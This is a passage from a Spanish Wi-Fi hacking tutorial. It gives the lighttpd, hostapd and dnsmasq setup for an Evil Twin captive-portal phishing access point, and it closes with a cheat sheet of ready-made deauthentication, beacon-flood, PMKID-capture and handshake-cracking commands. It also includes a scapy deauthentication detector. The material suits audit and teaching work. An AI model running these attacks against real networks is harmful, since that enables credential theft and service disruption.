$HTTP["host"] =~ "msftconnecttest.com" {
  url.redirect = ( "^/(.*)$" => "http://connectivitycheck.microsoft.com/")
  url.redirect-code = 302
}

$HTTP["host"] =~ "msftncsi.com" {
  url.redirect = ( "^/(.*)$" => "http://connectivitycheck.microsoft.com/")
  url.redirect-code = 302
}

server.port = 80

index-file.names = ( "index.htm" )

server.error-handler-404 = "/"

mimetype.assign = (
  ".css" => "text/css",
  ".js" => "text/javascript"
)

cgi.assign = ( ".htm" => "/bin/bash" )

Empezamos a desplegar el AP cargando la config de hostapd:

1
hostapd hostapd.conf

Ponemos la interfaz en el segmento creado para enrutar la conexión:

1
2
ip address add 10.0.221.1/24 dev wlan0
route add -net 10.0.221.0 netmask 255.255.255.0 gw 10.0.221.1

Activamos dnsmasq con el archivo de configuración.

1
dnsmasq -C dnsmasq.conf -d

En este punto solo queda usar lighttpd para que en el momento en el que alguien se conecte al AP le redirija automaticamente a la web. Si quieres alguna plantilla con el login de alguna red social o algún otro servicio te recomiendo las plantillas de algunos repositorios como este o este. Para usarlas solo haría falta cambiar la ruta de la web en el archivo de configuración de lighttpd.

1
lighttpd -f lighttpd.conf

Aunque aparezca un pequeño error, no importa.

Si todo ha ido según lo esperado, si usamos el móvil para ver las redes cercanas, deberíamos poder ver el nuevo AP y si probamos a conectarnos debería llevarnos automáticamente al panel de login que hemos elegido.

Con este ataque quizás no obtengamos acceso a ningún AP (con estas plantillas) pero puede ser una muy buena opción de cara a una auditoría wifi para ver si los clientes caen en la trampa e introducen sus credenciales.

Uso de la herramienta WEF

Me alegra poder hacer un curso de hacking wifi y poder usar mi propia herramienta para realizar los ataques y demás funciones, actualmente cuenta con todos los ataques mostrados hasta ahora.

Si quieres, puedes echarle un ojo aquí donde explico como instalarla y sus funcionalidades.

Para usar la herramienta solo hace falta tener la antena conectada y sin tener la interfaz en modo monitor (todo se hace de forma interactiva y automática desde la propia herramienta) solo haría falta ejecutar lo siguiente:

1
wef -i wlan0

Una vez dentro podemos ver los diferentes ataques y comandos disponibles, se puede escribir “help” para ver el panel de ayuda.

Antes de realizar cualquier ataque se debe iniciar el modo monitor escribiendo “enable”, aunque en caso de olvidarte, WEF te avisa. Tras iniciar la interfaz en modo monitor se deberia ver que la información de la antena ha cambiado y ahora está en color verde (significando que todo está activo) ya que está en modo monitor.

En caso de no querer atacar aún, sino querer ver los APs que hay cerca para posteriormente elegir el ataque, se puede escribir “scan” y se escanearán los APs cercanos.

Ahora elegimos el ataque que queramos, en mi caso para la demostración elijo el PMKID Attack y procedo a seleccionar el objetivo:

Al seleccionar cada ataque, la herramienta empezará a escanear redes hasta que el usuario presione Ctrl+C y luego da la opción de seleccionar la red a la que se quiere atacar, todo de forma intuitiva. Además, la herramienta permite comprobar si al finalizar un ataque se ha capturado algún handshake y pregunta al usuario para crackearlos de forma automática.

Si tienes alguna sugerencia o error abre un issue en el repositorio oficial de GitHub.

Cómo detectar un ataque de deautenticación

Actualmente es fácil detectar un ataque de deautenticación e incluso se puede programar en unas pocas líneas de python, para eso usaremos la librería scapy.

Solamente hace falta activar la antena en modo monitor (asegurate de configurar manualmente con iw el canal de la interfaz ya que no funcionará si no lo haces) y un simple código en Python como este:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3

from scapy.all import *

def PacketHandler(pkt):
        if pkt.haslayer(Dot11) and pkt.type == 0 and pkt.subtype == 0xC:
            print("Deauth packet sniffed: %s" % (pkt.summary()))

sniff(iface="wlan0mon", prn = PacketHandler)

En tu caso cambia wlan0mon al nombre de tu interfaz. Ahora solo queda ejecutar el script e inyectar paquetes de deautenticación como ya vimos antes (con aireplay-ng), para comprobar si el detector funciona correctamente. Deberíamos poder ver cómo detecta los paquetes sin problemas.

Por lo que para crear algún proyecto enfocado a defensa de redes puede ser muy buena idea. Además sería fácil implementar más funciones para que detecte y clasifique los tipos de paquetes wifi detectados y luego representarlos en una web con Flask o algo por el estilo.

Si quieres ver los valores de los diferentes tipos de paquetes wifi para poder detectar otros ataques o lo que quieras te recomiendo aprender aquí, tienen un buen post con mucha información.

Descubrir redes ocultas

Seguro que alguna vez te has preguntado qué ocurre con las redes ocultas, pues no hay una forma precisa al 100% para descubrir el nombre de las redes pero sí que se puede hacer.

Probablemente si has usado airodump-ng antes o si con suerte has estado cerca de alguna red oculta habrás notado que en algunos nombres pone “<length: 0>” pues eso es una red oculta. En este caso voy a explicar dos formas diferentes de encontrar el nombre real, la primera con mdk4 y la segunda (la más efectiva) con aireplay-ng.

Empecemos por mdk4, en este caso se trata de emitir “Probe requests” (explicado en Teoria Wifi) haciendo una especie de fuerza bruta del nombre del punto de acceso para ver si es válido y el nombre coincide. Recomiendo este diccionario con nombres comunes de APs para hacer lo siguiente:

1
mdk4 wlan0mon p -t <bssid> -f commonssids.txt

En este punto la herramienta debería empezar a probar todos los nombres, pero no lo he podido comprobar yo mismo porque no tengo ninguna red oculta cercana.

Esta forma no es la más óptima de descubrir el nombre ya que probablemente el nombre no aparezca en el diccionario, así que pasemos al siguiente método.

Con aireplay-ng es más preciso ya que se basa en permanecer capturando los paquetes mientras que haces un ataque de deautenticación como ya hemos visto previamente para obtener el handshake y más información del AP, el único inconveniente es que tiene que haber clientes conectados a la red. El procedimiento seria usar airodump-ng en el canal de la red oculta para obtener cualquier handshake o información (airodump-ng wlan0mon -c <numero>) y mientras tanto en otra terminal ejecutamos:

1
aireplay-ng -0 10 -b <bssid> wlan0mon

Al acabar de enviar los paquetes, los clientes se reconectan al AP y se genera el handshake por lo que si ahora vamos a ver el escaneo de airodump-ng que dejamos corriendo, deberíamos ver que el nombre ha cambiado y se puede ver el nombre real.

Extra

En esta sección vamos a ver trucos y funciones que no son necesarias al 100% pero que vienen muy bien y son interesantes de cara a entender todo mejor y sacar más partido a las herramientas.

Wardriving

¿Que es el wardriving?, pues es una tecnica en la que el atacante usa su antena, un GPS y un vehículo (preferiblemente un coche) para poder localizar de forma precisa en el mapa las redes existentes y su información. Se puede hacer de forma personal escaneando los APs como ya enseñe o también se puede hacer con la aplicacion WiGLE la cual está disponible para móviles y donde también otros usuarios suben sus escaneos a modo de base de datos comunitaria con las diferentes redes localizadas en el mapa.

Crear gráficos de escaneos wifi

Algo que se puede hacer es ver las diferentes redes escaneadas con sus clientes asociados en un gráfico con colores y bien representado. Esto se puede hacer facilmente con otra utilidad de la suite de aircrack-ng llamada airgraph-ng.

Obviamente para conseguir la imagen en forma de gráfico hay que haber escaneado las redes antes con airodump-ng y exportar la info a un archivo de captura, ya se ha enseñado en la sección de “Capturar información Wifi” pero lo volvemos a repetir para que quede más claro aun y acostumbrarnos a la sintaxis de los comandos:

1
airodump-ng wlan0mon -w captura

Cuando queramos cancelamos el escaneo pulsando Ctrl + C y ya tenemos la información exportada en formato CSV asi que podemos crear el gráfico sin problema de esta forma:

Comando para crear el gráfico

1
airgraph-ng -i captura-01.csv -o grafico.png -g CAPR

El comando debería devolver algo tal que asi:

Con ”-o” específicas el nombre que tendrá la imagen, con ”-i” le especificas el archivo con la información de red en formato CSV y con ”-g” eliges entre los dos tipos de gráfico para generar, este es el mejor pero si quieres puedes probar a poner ”CPG” en vez de ”CAPR”.

Como se ve el gráfico

Es algo muy útil por si quieres usar imágenes descriptivas en tus reportes a la hora de realizar una auditoría, en vez de usar simple texto con la información escrita, además los gráficos añaden el fabricante del router y de los clientes de cada AP (TP-Link, Samsung…)

Crear Rainbow Tables

Como ya hemos visto antes, los handshakes WPA comunes los crackeamos con aircrack-ng o con hashcat usando un diccionario de contraseñas, pero se puede hacer usando otra alternativa a las contraseñas comunes. Aquí es donde entran en juego las Rainbow Tables.

Te preguntarás ¿qué son las Rainbow Tables?, pues para entender cómo funciona debes entender cómo funciona el proceso de cracking, las herramientas como hashcat o aircrack-ng siguen los siguientes pasos:

  • Obtiene todas las contraseñas del diccionario.
  • Transforma cada contraseña en el formato del handshake.
  • Comprueba si los dos handshakes tienen el mismo valor.
  • Repite los 2 pasos anteriores hasta que la contraseña coincida.

Aunque puede parecer que es algo muy rápido realmente es un proceso que hay que hacer en miles (o incluso millones) de contraseñas por lo que a la larga es mejor tener una buena gráfica en el PC para crackear los handshakes con hashcat. Primero debemos crear la base de datos de las rainbow tables con airolib-ng.

1
2
3
airolib-ng rainbow-table --import essid essid.txt
airolib-ng rainbow-table --import passwd /usr/share/wordlists/rockyou.txt
airolib-ng rainbow-table --batch

Una vez hecho esto, solo queda usarla para crackear el handshake con aircrack-ng:

1
aircrack-ng -r rainbow-table handshake

Y debería empezar a crackear el handshake muchísimo más rapido puesto que ahora los pasos son los siguientes:

  • Obtiene todos los handshakes de las Rainbow Tables.
  • Comprueba si el handshake coincide con el handshake a crackear.
  • Repite el paso anterior.

Como podemos ver, de esta forma nos saltamos la parte de transformar la contraseña a handshake sobre la marcha.

Hardware

  • WiFi Coconut

Además de lo ya comentado sobre las antenas para hacking wifi, existen aparatos para realizar algunas otras funciones o realizarlas de diferentes formas. Como por ejemplo el WiFi Coconut de la empresa Hak5, el cual permite capturar información wifi a la vez en los 14 canales wifi de 2.4 GHz.

WiFi Coconut

  • DSTIKE Deauther Mini

Existe otras alternativas más pequeñas con capacidad para escanear APs, hacer ataques de deautenticación, entre otras cosas. Por ejemplo los productos de DSTIKE, como el DSTIKE Deauther Mini, el cual está construido a partir de una placa de desarrollo ESP8266 (para conexiones wifi) y funciona con tan solo conectarlo a una fuente de energia y viene con una pantalla y una pequeña rueda para seleccionar las diferentes funciones disponibles.

DSTIKE Deauther Mini

  • WiFi Pinneapple

También está la WiFi Pinneapple de Hak5, que permite desplegar puntos de acceso falsos con muchas otras funciones e interfaz web, aunque los productos de Hak5 son bastante caros suelen ser muy potentes y merece la pena si están destinadas al uso profesional.

WiFi Pinneapple

  • Raspberry Pi

Otra herramienta que puede ser util es una Raspberry Pi, aunque no está orientada para pentesting o hacking wifi es muy util para desplegar los ataques ya que es muy compacta y tiene buenas caracteristicas en cuanto a hardware, la recomiendo sin duda alguna ya que la puedes usar para muchisimas otras cosas.

Raspberry Pi

Herramientas automatizadas

Además de las herramientas base para hacer los ataques manualmente como aireplay-ng, mdk4 o airodump-ng, existen herramientas creadas para hacer los ataques de forma totalmente automatizada y para que cualquiera las use sin tener ningún conocimiento, a pesar de que un ataque manual siempre será mejor porque tienes el control al 100% de lo que ocurre y como ocurre, por aquí os dejo una lista de buenas herramientas que quizás os sean de interes:

Otros ataques secundarios

Además de los ataques que ya he mostrado, aun hay mas, pero no los voy a explicar en detalle porque no suelen ser efectivos o porque simplemente no merece la pena.

  • El ataque CTS Frame se basa en modificar un paquete CTS para aumentar su tiempo de duracion y tratar de hacer un secuestro del ancho de banda.
  • Los ataques KARMA, MANA y Loud MANA se basan en generar un AP para emitir y recibir ciertos “Probe requests” y “Probe responses” para hacer que clientes externos se conecten al AP falso generado, con el objetivo de capturar credenciales y demas información. Este post lo explica mejor.
  • El ataque Replay y Chopchop tampoco los voy a explicar porque solo afectan al protocolo WEP por lo que no es muy util, ya que el protocolo está obsoleto.

Errores comunes

  • Sin conexión internet

Quizas al devolver la interfaz a la normalidad (modo managed) puede que sigas sin tener conexión internet, para eso reinicia el servicio wpa_supplicant y NetworkManager.

1
2
systemctl restart wpa_supplicant
systemctl restart NetworkManager

Y si despues de esto sigues teniendo el mismo problema ejecuta:

1
dhclient

En caso de que tampoco funcione esto ultimo, prueba la clasica solución… reiniciar el sistema, puede que te sirva.

  • Dnsmasq no inicia

Quizas al tratar de iniciar dnsmasq para el ataque Evil Twin te reporte un error y probablemente sea porque tienes el puerto 53 ocupado (el servicio dns) por lo que deberias matarlo por ejemplo de esta forma:

Uso de fuser para desocupar el puerto 53

1
fuser -k 53/tcp
  • Lighttpd no inicia

Si al tratar de iniciar el servicio web con lighttpd (para el ataque EvilTwin) te da error, puede ser también porque este ocupado el puerto 80, asi que podrias tratar de “matarlo” de la misma forma que arriba.

  • Deautenticación da error

Quizas al ejecutar el comando, aireplay-ng te diga que el AP opera en un canal diferente por lo que para arreglarlo deberias poner manualmente la antena en el mismo canal de la siguiente forma:

1
iw dev wlan0mon set channel <número>

Cheat sheet de comandos

Estas son las todas herramientas usadas durante las explicaciones:

  • ip: permite listar las interfaces de red e interactuar con ellas.
  • iw: sirve para listar las interfaces wireless, su información e interactuar con ellas.
  • macchanger: herramienta para cambiar la dirección MAC de una interfaz.
  • airmon-ng: permite activar/desactivar el modo monitor en la interfaz de tu antena.
  • airodump-ng: sirve para escanear las redes cercanas y los dispositivos asociados a ellas.
  • wash: otra herramienta para escanear redes y detectar si tienen el WPS activado.
  • aireplay-ng: útil para realizar ataques de red, el más útil es el de deautenticación.
  • aircrack-ng: herramienta más famosa para crackear los handshakes obtenidos.
  • mdk4: sirve para hacer otros ataques como el Beacon Flood o el de autenticación.
  • hashcat: herramienta para crackear muchos tipos de hashes, entre ellos los handshakes.
  • hcxdumptool: permite escanear redes para capturar handshakes PMKID.
  • hcxpcapngtool: usado para convertir un escaneo de hcxdumptool a un formato crackeable.
  • hcxhashtool: usado para filtrar entre los handshakes PMKID.
  • reaver: herramienta para realizar ataques a la implementación WPS.
  • hostapd: permite crear APs usando un archivo de configuración.
  • dnsmasq: sirve para enrutar la conexión y otros temas de DNS.
  • airgraph-ng: para crear un gráfico (imagen) a partir de la información de un escaneo.
  • airolib-ng: permite crear Rainbow Tables con un diccionario y nombres de redes wifi.

Por aquí os dejo algunos comandos comúnes junto a su descripción por si en algún momento quieres revisarlos, aunque recomiendo siempre mirar el panel de ayuda de todas las herramientas para conocer más funciones y aprender también por tu cuenta.

Listar todas las interfaces

1
ip link show

Listar interfaces wireless

1
iw dev

Inicia en modo monitor la interfaz

1
airmon-ng start wlan0

Desactiva el modo monitor de la interfaz

1
airmon-ng stop wlan0mon

Activa/desactiva una interfaz usando ip

1
2
ip link set wlan0 up
up link set wlan0 down

Cambia manualmente el canal en el que opera la interfaz

1
iw dev wlan0mon set channel <número>

Escaneo simple en todos los canales (airodump-ng)

1
airodump-ng wlan0mon

Escaneo simple con wash

1
wash -s -2 -5 -a -i wlan0mon

Crackear WPA handshakes con aircrack-ng

1
aircrack-ng captura-01.cap -e <essid> -w /usr/share/wordlists/rockyou.txt

Formatear handshakes WPA con cap2hccapx

1
cap2hccapx captura-01.cap handshake_formateado

Crackear handshakes WPA (formateados previamente con cap2hccapx) o PMKID (formateados previamente con hcxpcapngtool)

1
hashcat -m 22000 hashes /usr/share/wordlists/rockyou.txt

Simple ataque de deautenticación

1
aireplay-ng -0 10 -e "nombre-de-la-wifi" -c FF:FF:FF:FF:FF:FF wlan0mon

Simple ataque de autenticación

1
mdk4 wlan0mon a -i <bssid> -m

Simple ataque de Beacon Flood

1
mdk4 wlan0mon b -c <número-del-canal> -s 2000

Ataque PMKID (obtención de handshakes)

1
hcxdumptool -i wlan0mon -o captura –enable_status=1

Convertir PMKID handshakes a formato crackeable

1
hcxpcapngtool -o hashes captura

Crea un gráfico a partir de una captura de airodump-ng

1
airgraph-ng -i captura-01.csv -o grafico.png -g CAPR

Conclusión

Bueno pues esto ha sido todo, espero que hayáis aprendido mucho sobre hacking wifi, los diferentes ataques, funciones extra y demás. También deciros que si queréis certificaros de un examen práctico sobre hacking wifi tenéis el OSWP de OffensiveSecurity, lo malo de el examen es que hasta donde yo sé, se centran demasiado en el protocolo WEP, el cual no se usa casi nada actualmente por lo que estaría bien que se enfocasen más en otros ataques actuales (Además de que es un examen bastante caro). Si tenéis alguna sugerencia o crees que me ha faltado algo por explicar me puedes contactar sin problema.

¡Hasta la próxima!

Volver arriba

This post is licensed under CC BY 4.0 by the author.